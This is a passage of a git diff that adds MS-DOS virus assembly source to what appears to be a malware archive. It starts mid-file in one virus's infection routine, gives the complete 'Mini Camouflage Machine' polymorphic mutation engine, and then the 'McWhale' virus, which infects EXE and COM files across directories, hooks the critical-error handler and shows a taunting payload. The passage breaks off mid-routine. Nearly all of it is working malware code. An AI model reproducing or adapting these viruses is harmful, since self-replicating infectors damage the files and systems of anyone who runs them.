mov ah,5Ah ; 'Z' + xor cx,cx ; Zero register + int 3 ; Debug breakpoint + jc loc_59 ; Jump if carry Set + mov bx,ax + mov ah,3Eh ; '>' + int 3 ; Debug breakpoint + jc loc_59 ; Jump if carry Set + mov ah,41h ; 'A' + int 3 ; Debug breakpoint +loc_59: + pop ax + pop ds + les bx,dword ptr cs:[937h][si] ; Load 32 bit ptr + mov ds:data_6e,bx + mov word ptr ds:data_6e+2,es + push cs + pop ds + pop bx + pop es + retn +sub_19 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_20 proc near + push cs + push cs + pop ds + pop es + call sub_15 + jc loc_60 ; Jump if carry Set + jmp loc_69 +loc_60: + call sub_16 + jnz loc_61 ; Jump if not zero + jmp loc_69 +loc_61: + call sub_19 + jnc loc_62 ; Jump if carry=0 + jmp loc_69 +loc_62: + cmp ah,1 + je loc_65 ; Jump if equal + cmp ah,2 + jne loc_63 ; Jump if not equal + jmp loc_67 +loc_63: + mov ah,3Fh ; '?' + lea dx,[si+42h] ; Load effective addr + nop ;*ASM fixup - displacement + mov cx,2 + int 3 ; Debug breakpoint + mov ah,3Fh ; '?' + lea dx,[si+60h] ; Load effective addr + nop ;*ASM fixup - displacement + mov cx,2 + int 3 ; Debug breakpoint + mov dx,[si+60h] + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,5 + int 3 ; Debug breakpoint + call sub_14 + cmp ax,0F000h + jbe loc_64 ; Jump if below or = + jmp loc_69 +loc_64: + mov word ptr ds:[925h][si],ax + mov dx,6 + call sub_13 + mov ah,40h ; '@' + lea dx,[si+925h] ; Load effective addr + mov cx,2 + int 3 ; Debug breakpoint + mov dx,[si+60h] + call sub_13 + mov ah,40h ; '@' + lea dx,[si+919h] ; Load effective addr + mov cx,5 + int 3 ; Debug breakpoint + call sub_17 + jmp loc_68 +loc_65: + call sub_14 + cmp ax,0F000h + jbe loc_66 ; Jump if below or = + jmp loc_69 +loc_66: + add ax,123h + mov word ptr ds:[925h][si],ax + xor dx,dx ; Zero register + call sub_13 + mov byte ptr ds:[924h][si],0E9h + mov ah,40h ; '@' + lea dx,[si+924h] ; Load effective addr + mov cx,3 + int 3 ; Debug breakpoint + call sub_17 + jmp short loc_68 +loc_67: + mov dx,4 + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,6 + int 3 ; Debug breakpoint + call sub_14 + add ax,1FFh + adc dx,0 + shr dx,1 ; Shift w/zeros fill + rcr ax,1 ; Rotate thru carry + mov al,ah + mov ah,dl + cmp ax,word ptr ds:[91Eh][si] + jne loc_69 ; Jump if not equal + mov dx,14h + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+122h] ; Load effective addr + mov cx,4 + int 3 ; Debug breakpoint + call sub_14 + mov di,word ptr ds:[922h][si] + mov cl,4 + shl di,cl ; Shift w/zeros fill + sub ax,di + sbb dx,0 + add ax,0FEh + adc dx,0 + mov cl,0Ch + shl dx,cl ; Shift w/zeros fill + mov word ptr ds:[91Eh][si],ax + mov word ptr ds:[920h][si],dx + mov dx,14h + call sub_13 + mov ah,40h ; '@' + lea dx,[si+91Eh] ; Load effective addr + mov cx,4 + int 3 ; Debug breakpoint + call sub_17 + call sub_18 +loc_68: + mov ax,5701h + mov cx,word ptr ds:[93Fh][si] + mov dx,word ptr ds:[941h][si] + or cx,1Fh + int 3 ; Debug breakpoint +loc_69: + xor dx,dx ; Zero register + call sub_13 + retn +sub_20 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_21 proc near + push cs + push cs + pop ds + pop es + call sub_15 + jc loc_70 ; Jump if carry Set + jmp loc_79 +loc_70: + call sub_16 + jz loc_71 ; Jump if zero + jmp loc_79 +loc_71: + call sub_19 + jnc loc_72 ; Jump if carry=0 + jmp loc_79 +loc_72: + cmp ah,1 + je loc_74 ; Jump if equal + cmp ah,2 + jne loc_73 ; Jump if not equal + jmp loc_76 +loc_73: + mov ah,3Fh ; '?' + lea dx,[si+42h] ; Load effective addr + nop ;*ASM fixup - displacement + mov cx,2 + int 3 ; Debug breakpoint + mov dx,[si+42h] + add dx,42h + nop ;*ASM fixup - sign extn byte + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,2 + int 3 ; Debug breakpoint + mov dx,6 + call sub_13 + mov ah,40h ; '@' + lea dx,[si+91Eh] ; Load effective addr + mov cx,2 + int 3 ; Debug breakpoint + mov dx,[si+42h] + add dx,91Eh + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,5 + int 3 ; Debug breakpoint + mov dx,8 + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+60h] ; Load effective addr + nop ;*ASM fixup - displacement + mov cx,2 + int 3 ; Debug breakpoint + mov dx,[si+60h] + call sub_13 + mov ah,40h ; '@' + lea dx,[si+91Eh] ; Load effective addr + mov cx,5 + int 3 ; Debug breakpoint + mov dx,[si+42h] + call sub_13 + mov ah,40h ; '@' + xor cx,cx ; Zero register + int 3 ; Debug breakpoint + jmp loc_78 +loc_74: + cmp byte ptr ds:[91Eh][si],0E9h + je loc_75 ; Jump if equal + jmp loc_79 +loc_75: + sub word ptr ds:[91Fh][si],123h + mov dx,word ptr ds:[91Fh][si] + add dx,91Eh + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+924h] ; Load effective addr + mov cx,3 + int 3 ; Debug breakpoint + xor dx,dx ; Zero register + call sub_13 + mov ah,40h ; '@' + lea dx,[si+924h] ; Load effective addr + mov cx,3 + int 3 ; Debug breakpoint + mov dx,word ptr ds:[91Fh][si] + call sub_13 + mov ah,40h ; '@' + xor cx,cx ; Zero register + int 3 ; Debug breakpoint + jmp short loc_78 +loc_76: + mov dx,8 + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,2 + int 3 ; Debug breakpoint + mov dx,14h + call sub_13 + mov ah,3Fh ; '?' + lea dx,[si+122h] ; Load effective addr + mov cx,4 + int 3 ; Debug breakpoint + mov cl,0Ch + shr word ptr ds:[124h][si],cl ; Shift w/zeros fill + mov ax,word ptr ds:[91Eh][si] + mov cl,4 + shl ax,cl ; Shift w/zeros fill + sub ax,0FEh + cwd ; Word to double word + add word ptr ds:[122h][si],ax + adc word ptr ds:[124h][si],dx + mov ax,4200h + mov dx,word ptr ds:[122h][si] + mov cx,word ptr ds:[124h][si] + add dx,122h + adc cx,0 + int 3 ; Debug breakpoint + mov ah,3Fh ; '?' + lea dx,[si+91Eh] ; Load effective addr + mov cx,4 + int 3 ; Debug breakpoint + mov dx,14h + call sub_13 + mov ah,40h ; '@' + lea dx,[si+91Eh] ; Load effective addr + mov cx,4 + int 3 ; Debug breakpoint + mov ax,4200h + mov dx,word ptr ds:[122h][si] + mov cx,word ptr ds:[124h][si] + int 3 ; Debug breakpoint + mov ah,40h ; '@' + xor cx,cx ; Zero register + int 3 ; Debug breakpoint + call sub_18 +loc_78: + mov ax,5701h + mov cx,word ptr ds:[93Fh][si] + mov dx,word ptr ds:[941h][si] + and cx,0FFE0h + int 3 ; Debug breakpoint +loc_79: + xor dx,dx ; Zero register + call sub_13 + retn +sub_21 endp + + db 26h, 11h,0EAh, 4Ah, 00h, 00h + db 70h,0B0h,0F3h,0E6h, 60h,0B9h + db 1Ah, 1Ah + db 716 dup (1Ah) + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.mcm_62.asm b/MSDOS/Virus.MSDOS.Unknown.mcm_62.asm new file mode 100644 index 00000000..441afce9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mcm_62.asm @@ -0,0 +1,383 @@ +.model tiny +codeseg +.8086 +org 100h +; Mini Camofluge Machine v 0.62 +; (c) 1997 by Pashkovsky Maxim [PARAFFiN] +;-----------------------------C-O-D-E---------------------------------------- +LengthVirus equ (EndVir-Start)*2 +;***********************I*N*T*S********************************************** +start: +i00: call CryptData +i01: call InitRandom +i02: call Infect +i03: mov ax,4C00h +i04: int 21h +;============================================================================ +InitRandom proc near +i05: push es +i06: mov ax,0040h +i07: mov es,ax +i08: mov ax,es:[006ch] +i09: mov word ptr cs:[rseed],ax +i10: pop es +i11: ret +InitRandom endp +;============================================================================ +Random proc near ; 16 bit Random number +i12: push cx +i13: push bx +i14: mov bx,word ptr cs:[rvalue] +i15: mov ax,word ptr cs:[rseed] +i16: rol ax,1 +i17: sub ax,7 +i18: xor ax,bx +i19: mov word ptr cs:[rvalue],ax +i20: mov word ptr cs:[rseed],bx +i21: mul dx ;(input value) * (delta) +i22: mov cx,-1 +i23: cmp dx,cx ;verify divide will work +i24: jae @abort ;jmp if divide will not work +i25: div cx ;(input value) * (delta) / ffffh +i26: @abort: pop bx +i27: pop cx +i28: ret +Random endp +;============================================================================ +VerifyAlloc proc near ; Verify place. +i29: push ax +i30: push cx +i31: mov ax,word ptr cs:[AddrPTR] +i32: mov bx,offset AddrTab +i33: sub ax,bx +i34: push dx ;<=æ +i35: mov cx,2AABh ; | divide ax by 6 = ax/6 +i36: mul cx ; : +i37: mov cx,dx ; | +i38: pop dx ;<=Ł +i39: @vloop: mov ax,word ptr cs:[bx] +i40: cmp dx,ax +i41: jb @vnext +i42: add ax,word ptr cs:[bx+2] +i43: cmp dx,ax +i44: jb @verror +i45: @vnext: add bx,6 +i46: loop @vloop +i47: clc +i48: jmp @vquit +i49: @verror: stc +i50: @vquit: pop cx +i51: pop ax +i52: ret +VerifyAlloc endp +;============================================================================ +Jump proc near ; Make near jump (E9h opcode) to free random place. +i53: push ax +i54: mov bx,word ptr cs:[AddrPTR] +i55: mov word ptr cs:[bx],di +i56: mov word ptr cs:[bx+2],3 +i57: mov word ptr cs:[bx+4],0 +i58: add word ptr cs:[AddrPTR],6 +i59: mov al,0E9h +i60: stosb +i61: @jnew: mov dx,0FFFDh +i62: call Random +i63: mov dx,di +i64: add dx,2 +i65: add dx,ax +i66: cmp dx,offset code + LengthVirus - 10 +i67: jae @jnew +i68: cmp dx,offset code +i69: jbe @jnew +i70: xor cx,cx +i71: mov bx,word ptr cs:[LenghtPTR] +i72: mov cl,byte ptr cs:[bx] +i73: add cx,3 +i74: @jverify: call VerifyAlloc ; Verify place. +i75: jc @jnew +i76: inc dx +i77: loop @jverify +i78: @jend: stosw +i79: add di,ax +i80: pop ax +i81: ret +Jump endp +;============================================================================ +JumpNear proc near ;Proc for adjust near jump. +i82: push ax +i83: mov bx,word ptr cs:[AddrPTR] +i84: mov word ptr cs:[bx],di ; Build table for near jumps. +i85: mov word ptr cs:[bx+2],2 +i86: mov word ptr cs:[bx+4],si +i87: add word ptr cs:[AddrPTR],6 +i88: movsb +i89: @jnnew: xor ax,ax +i90: mov dx,0FDh +i91: call Random +i92: cmp al,20 +i93: jb @jnnew +i94: cbw +i95: mov dx,di +i96: inc dx +i97: add dx,ax +i98: cmp dx,offset code + LengthVirus - 10 +i99: jae @jnnew +i100: cmp dx,offset code +i101: jbe @jnnew +i102: mov cx,3 +i103: @jnverify: call VerifyAlloc ; Verify place. +i104: jc @jnnew +i105: inc dx +i106: loop @jnverify +i107: stosb +i108: push di +i109: add di,ax +i110: mov bx,word ptr cs:[AddrPTR] +i111: mov word ptr cs:[bx],di +i112: mov word ptr cs:[bx+2],3 +i113: mov word ptr cs:[bx+4],0 +i114: add word ptr cs:[AddrPTR],6 +i115: mov al,0E9h +i116: stosb +i117: lodsb +i118: cbw +i119: push si +i120: add si,ax +i121: lodsb +i122: cmp al,0E9h +i123: jne @jnnext +i124: lodsw +i125: add si,ax +i126: inc si +i127: @jnnext: dec si +i128: mov bx,word ptr cs:[JumpPTR] ;Near jump table. +i129: mov word ptr cs:[bx],si +i130: mov word ptr cs:[bx+2],di +i131: add word ptr cs:[JumpPTR],4 +i132: pop si +i133: pop di +i134: pop ax +i135: ret +JumpNear endp +;============================================================================ +CallNear proc near ;Build addr table for near call. +i136: mov bx,word ptr cs:[JumpPTR] +i137: mov cx,si +i138: add cx,3 ;inc cx +i139: add cx,word ptr cs:[si+1] +i140: mov word ptr cs:[bx],cx +i141: mov word ptr cs:[bx+2],di +i142: inc word ptr cs:[bx+2] +i143: add word ptr cs:[JumpPTR],4 +i144: ret +CallNear endp +;============================================================================ +MoveInst proc near ;Move instruction on new place. +i145: cmp si,word ptr cs:[CryptMov] ; Verify CryptValue +i146: jne @NoValue +i147: mov word ptr cs:[OldCryptMov],si +i148: mov word ptr cs:[CryptMov],di +i149: jmp @NoCrypt +i150: @NoValue: cmp si,word ptr cs:[CryptChg] ; Verify ChangeCrypt +i151: jne @NoCrypt +i152: mov word ptr cs:[OldCryptChg],si +i153: mov word ptr cs:[CryptChg],di +i154: @NoCrypt: mov bx,word ptr cs:[LenghtPTR] ;==================== +i155: xor cx,cx +i156: mov cl,byte ptr cs:[bx] +i157: mov bx,word ptr cs:[AddrPTR] +i158: mov word ptr cs:[bx],di ;Build table for instr. +i159: mov word ptr cs:[bx+2],cx +i160: mov word ptr cs:[bx+4],si +i161: add word ptr cs:[AddrPTR],6 +i162: rep movsb +i163: ret +MoveInst endp +;============================================================================ +Mutation proc near ;Main loop of mutation. +i164: mov si,offset start ; SI have OLD! code offset. +i165: mov di,offset code ; DI have NEW! code offset. +i166: mov ax,offset EndData-offset LenghtTab-1 +i167: cld +i168: @m1: cmp byte ptr cs:[si],70h ;<=æ +i169: jb @m2 ; | jumps. +i170: cmp byte ptr cs:[si],7Fh ;<=Ł +i171: jbe @realloc +i172: @m2: cmp byte ptr cs:[si],0E0h +i173: jb @m3 +i174: cmp byte ptr cs:[si],0E3h +i175: jbe @realloc +i176: @m3: cmp byte ptr cs:[si],0EBh ; short jump. +i177: je @realloc +i178: cmp byte ptr cs:[si],0E8h ; near call. +i179: jne @m4 +i180: call CallNear +i181: @m4: cmp byte ptr cs:[si],0E9h ; NEAR JUMP !!! +i182: jne @mend +i183: mov bx,word ptr cs:[si+1] +i184: add si,3 +i185: add si,bx +i186: jmp @m1 +i187: @realloc: call JumpNear +i188: jmp @mnext +i189: @mend: call MoveInst +i190: @mnext: inc word ptr cs:[LenghtPTR] +i191: mov dx,di +i192: mov cx,3 +i193: mov bx,word ptr cs:[LenghtPTR] +i194: add cl,byte ptr cs:[bx] +i195: @mjverify: call VerifyAlloc ; Verify place. +i196: jc @mjump +i197: inc dx +i198: loop @mjverify +i199: cmp dx,offset code + LengthVirus - 10 +i200: jae @mjump +i201: push ax +i202: mov dx,3h +i203: call Random +i204: cmp al,1h +i205: pop ax +i206: jne @loop +i207: @mjump: call Jump +i208: @loop: dec ax +i209: jnz @m1 ;============================================ +i210: mov dx,word ptr cs:[JumpPTR] ; Adjust address. +i211: mov bx,offset JumpTab +i212: sub dx,bx +i213: shr dx,1 ; div 4 +i214: shr dx,1 ; <=Ł +i215: @mreall: mov di,offset AddrTab +i216: mov ax,word ptr cs:[bx] +i217: mov cx,word ptr cs:[AddrPTR] +i218: sub cx,di +i219: shr cx,1 +i220: repnz scasw +i221: jcxz @merror +i222: mov ax,word ptr cs:[di-6] +i223: mov di,word ptr cs:[bx+2] +i224: sub ax,di +i225: sub ax,2 +i226: stosw +i227: @merror: add bx,4 +i228: dec dx +i229: jnz @mreall ;======================================== +i230: mov word ptr cs:[LenghtPTR],offset LenghtTab +i231: mov word ptr cs:[AddrPTR],offset AddrTab +i232: mov word ptr cs:[JumpPTR],offset JumpTab +i233: mov dx,0FFFFh ; Adjust CryptValue. +i234: call Random +i235: mov bx,word ptr cs:[CryptMov] +i236: mov [bx+1],ax +i237: sub word ptr cs:[CryptMov],offset Code-100h +i238: mov bx,word ptr cs:[OldCryptMov] +i239: mov [bx+1],ax ;<=========================== +i240: mov dx,0FFFFh ; Adjust ChangeValue. +i241: call Random +i242: mov bx,word ptr cs:[CryptChg] +i243: mov [bx+2],ax +i244: sub word ptr cs:[CryptChg],offset Code-100h +i245: mov bx,word ptr cs:[OldCryptChg] +i246: mov [bx+2],ax ;<=========================== +i247: call CryptData ; Crypt. +i248: mov si,offset Data ; Move data. +i249: mov di,offset AddrTab ; NewData; +i250: mov cx,EndData-Data +i251: rep movsb +i252: ret +Mutation endp +;============================================================================ +Infect proc near +i253: call Message +i254: mov dx,offset FileName ;Open File +i255: mov ah,3ch +i256: xor cx,cx +i257: int 21h +i258: mov word ptr cs:[FileHandle],ax +i259: call Mutation +i260: mov bx,word ptr cs:[FileHandle] ;Write Virus body +i261: mov cx,offset EndData - 100h ;offset JumpTab + 512 - 100h +i262: mov dx,offset Code +i263: mov ah,40h +i264: int 21h +i265: mov bx,word ptr cs:[FileHandle] ;Close file +i266: mov ah,3Eh +i267: int 21h +i268: ret +Infect endp +;============================================================================ +Message proc near +i269: mov dx,offset Copyright +i270: mov ah,09h +i271: int 21h +i272: ret +Message endp +;============================================================================ +CryptData proc near ; Crypt data body. +i273: mov cx,(EndData-Data)/2+1 +i274: mov si,offset Data +i275: push si +i276: pop di +i277: CryptValue db 0BAh,?,? ;mov dx,??h +i278: @DeCrypt: lodsw +i279: xor ax,dx +i280: stosw +i281: ChangeValue db 81h,0C2h,?,? ;add dx,??h +i282: loop @DeCrypt +i283: ret +i284: +CryptData endp +;============================================================================ +EndVir: +org LengthVirus+100h ;$+300h +;---------------------------------D-A-T-A------------------------------------ +Data: +Copyright db '[MCMv0.62(c)Jul1997byPARAFFiN]','$' +FileName db 'test_mcm.com',0 +LenghtPTR dw offset LenghtTab +AddrPTR dw offset AddrTab +JumpPTR dw offset JumpTab +CryptMov dw offset CryptValue +CryptChg dw offset ChangeValue +LenghtTab: ; Instruction lenght table. +db i01-i00,i02-i01,i03-i02,i04-i03,i05-i04,i06-i05,i07-i06,i08-i07,i09-i08,i10-i09 +db i11-i10,i12-i11,i13-i12,i14-i13,i15-i14,i16-i15,i17-i16,i18-i17,i19-i18,i20-i19 +db i21-i20,i22-i21,i23-i22,i24-i23,i25-i24,i26-i25,i27-i26,i28-i27,i29-i28,i30-i29 +db i31-i30,i32-i31,i33-i32,i34-i33,i35-i34,i36-i35,i37-i36,i38-i37,i39-i38,i40-i39 +db i41-i40,i42-i41,i43-i42,i44-i43,i45-i44,i46-i45,i47-i46,i48-i47,i49-i48,i50-i49 +db i51-i50,i52-i51,i53-i52,i54-i53,i55-i54,i56-i55,i57-i56,i58-i57,i59-i58,i60-i59 +db i61-i60,i62-i61,i63-i62,i64-i63,i65-i64,i66-i65,i67-i66,i68-i67,i69-i68,i70-i69 +db i71-i70,i72-i71,i73-i72,i74-i73,i75-i74,i76-i75,i77-i76,i78-i77,i79-i78,i80-i79 +db i81-i80,i82-i81,i83-i82,i84-i83,i85-i84,i86-i85,i87-i86,i88-i87,i89-i88,i90-i89 +db i91-i90,i92-i91,i93-i92,i94-i93,i95-i94,i96-i95,i97-i96,i98-i97,i99-i98,i100-i99 +db i101-i100,i102-i101,i103-i102,i104-i103,i105-i104,i106-i105,i107-i106,i108-i107,i109-i108,i110-i109 +db i111-i110,i112-i111,i113-i112,i114-i113,i115-i114,i116-i115,i117-i116,i118-i117,i119-i118,i120-i119 +db i121-i120,i122-i121,i123-i122,i124-i123,i125-i124,i126-i125,i127-i126,i128-i127,i129-i128,i130-i129 +db i131-i130,i132-i131,i133-i132,i134-i133,i135-i134,i136-i135,i137-i136,i138-i137,i139-i138,i140-i139 +db i141-i140,i142-i141,i143-i142,i144-i143,i145-i144,i146-i145,i147-i146,i148-i147,i149-i148,i150-i149 +db i151-i150,i152-i151,i153-i152,i154-i153,i155-i154,i156-i155,i157-i156,i158-i157,i159-i158,i160-i159 +db i161-i160,i162-i161,i163-i162,i164-i163,i165-i164,i166-i165,i167-i166,i168-i167,i169-i168,i170-i169 +db i171-i170,i172-i171,i173-i172,i174-i173,i175-i174,i176-i175,i177-i176,i178-i177,i179-i178,i180-i179 +db i181-i180,i182-i181,i183-i182,i184-i183,i185-i184,i186-i185,i187-i186,i188-i187,i189-i188,i190-i189 +db i191-i190,i192-i191,i193-i192,i194-i193,i195-i194,i196-i195,i197-i196,i198-i197,i199-i198,i200-i199 +db i201-i200,i202-i201,i203-i202,i204-i203,i205-i204,i206-i205,i207-i206,i208-i207,i209-i208,i210-i209 +db i211-i210,i212-i211,i213-i212,i214-i213,i215-i214,i216-i215,i217-i216,i218-i217,i219-i218,i220-i219 +db i221-i220,i222-i221,i223-i222,i224-i223,i225-i224,i226-i225,i227-i226,i228-i227,i229-i228,i230-i229 +db i231-i230,i232-i231,i233-i232,i234-i233,i235-i234,i236-i235,i237-i236,i238-i237,i239-i238,i240-i239 +db i241-i240,i242-i241,i243-i242,i244-i243,i245-i244,i246-i245,i247-i246,i248-i247,i249-i248,i250-i249 +db i251-i250,i252-i251,i253-i252,i254-i253,i255-i254,i256-i255,i257-i256,i258-i257,i259-i258,i260-i259 +db i261-i260,i262-i261,i263-i262,i264-i263,i265-i264,i266-i265,i267-i266,i268-i267,i269-i268,i270-i269 +db i271-i270,i272-i271,i273-i272,i274-i273,i275-i274,i276-i275,i277-i276,i278-i277,i279-i278,i280-i279 +db i281-i280,i282-i281,i283-i282,i284-i283,0;i285-i284,i286-i285,i287-i286,i288-i287,i289-i288,i290-i289 +;db i291-i290,i292-i291,i293-i292,i294-i293,i295-i294,i296-i295,i297-i296,i298-i297,i299-i298,i300-i299 +;db i301-i300,i302-i301,i303-i302,i304-i303,i305-i304,i306-i305,i307-i306,i308-i307,i309-i308,i310-i309 +EndData: +; Official data. +RSeed dw ? +RValue dw ? +FileHandle dw ? +OldCryptMov dw ? +OldCryptChg dw ? +Code db LengthVirus dup(?) +AddrTab db 0B00h dup(?) +JumpTab db 300h dup(?) +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.mcwhale.asm b/MSDOS/Virus.MSDOS.Unknown.mcwhale.asm new file mode 100644 index 00000000..0daa3fd2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mcwhale.asm @@ -0,0 +1,507 @@ +; McWhale.asm : [McAfee' Whale] by [pAgE] +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg +; +; Here's another "lame dick" virus! I thought it was rather fitting! +; Many thanks to the fellows at Phalcon/Skism for this little tool. +; I am sure that Dark Angel and the bunch are not stopping here, but +; will come up with another innovation in Vx production... +; +; I have set this file to activate at a 40% chance on any day. Feel free +; to modify this program as you see fit or keep it as a novelty in its +; original form. + + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'MO' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption + mov bx,(offset heap - offset startencrypt)/2 ; iterations +patch_startencrypt: + mov si,offset startencrypt ; start of decryption +decrypt_loop: + db 2eh,81h,04h ; add word ptr cs:[si], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc si ; calculate new decryption location + inc si + dec bx ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],2 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ah ; Get current date + int 21h ; + ;cmp dh,4 ; Check month + ;jb exit_virus ; + ;cmp dl,15 ; Check date + ;jnz exit_virus ; + + ;mov ah,2ch ; Get current time + ;int 21h + cmp dl,40 ; Check the percentage + jbe activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate proc far + +start: + jmp loc_1 +data_1 db 0 +data_2 dw 0 + db 62h, 79h + db ' ABRAXAS - ' +copyright db '(c) 1992 Abraxas Warez.' + db '.....................................BEWARE!!!............' + db '....................' +data_5 db 'Anti-Virus.....Man.....John.....McAfee.....wrote' + db '.....the.....WHALE.....virus!!!' + db '..............................HONEST!!!....................................$' +loc_1: + push si + push di + mov si,80h + cld ; Clear direction + call sub_1 + cmp byte ptr [si],0Dh + je loc_4 ; Jump if equal + mov cx,28h + lea di,data_5 ; ('Attention: Please press ') Load ef +locloop_2: + lodsb ; String [si] to al + cmp al,0Dh + je loc_3 ; Jump if equal + stosb ; Store al to es:[di] + loop locloop_2 ; Loop if cx > 0 +loc_3: + inc cx + mov al,2Eh ; '.' + rep stosb ; Rep when cx >0 Store al to es:[di] +loc_4: + pop di + pop si + mov ah,3 + mov bh,0 + int 10h ; Video display ah=functn 03h + ; get cursor loc in dx, mode cx + + mov data_2,cx + mov ah,1 + mov cx,0F00h + int 10h ; Video display ah=functn 01h + ; set cursor mode in cx + mov ah,2 + mov dh,18h + mov dl,13h + int 10h ; Video display ah=functn 02h + ; set cursor location in dx +loc_5: + mov data_1,0FFh +loc_6: + add data_1,1 + mov bl,data_1 + mov bh,0 + mov cx,27h + call sub_2 + +locloop_7: + mov al,byte ptr copyright+20h[bx] ; ('.') + mov ah,0Eh + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + inc bx + call sub_3 + mov dl,0FFh + mov ah,6 + int 21h ; DOS Services ah=function 06h + ; special char i/o, dl=subfunc + jnz loc_10 ; Jump if not zero + loop locloop_7 ; Loop if cx > 0 + + cmp byte ptr copyright+20h[bx],24h ; ('.') '$' + je loc_5 ; Jump if equal + jmp short loc_6 + +activate endp + +sub_1 proc near +loc_8: + inc si + cmp byte ptr [si],20h ; ' ' + je loc_8 ; Jump if equal + retn +sub_1 endp + +sub_2 proc near + push ax + push bx + push cx + push dx + mov dx,si + mov cx,di + mov al,4 + mov ah,0ch + int 10h + mov ah,2 + mov dh,8h + mov dl,14h + mov cx,30 + int 10h ; Video display ah=functn 02h + mov ah,10h + mov al,0 + mov bl,4 + mov bh,63 + int 10h + pop dx + pop cx + pop bx + pop ax + + retn +sub_2 endp + +sub_3 proc near + push cx + mov cx,258h +locloop_9: + loop locloop_9 ; Loop if cx > 0 + pop cx + retn +sub_3 endp + +loc_10: + call sub_2 + mov cx,4Fh +locloop_11: + mov al,20h ; ' ' + mov ah,0Eh + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + loop locloop_11 ; Loop if cx > 0 + + mov ah,1 + mov cx,data_2 + int 10h ; Video display ah=functn 01h + int 20h ; DOS program terminate + jmp exit_virus + +creator db '[MPC]',0 ; BIG SIGN!!! +virusname db "[McAfee' Whale]",0 ; That's it!! +author db '[pAgE]',0 ; Nah! Not me! + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+35] ; 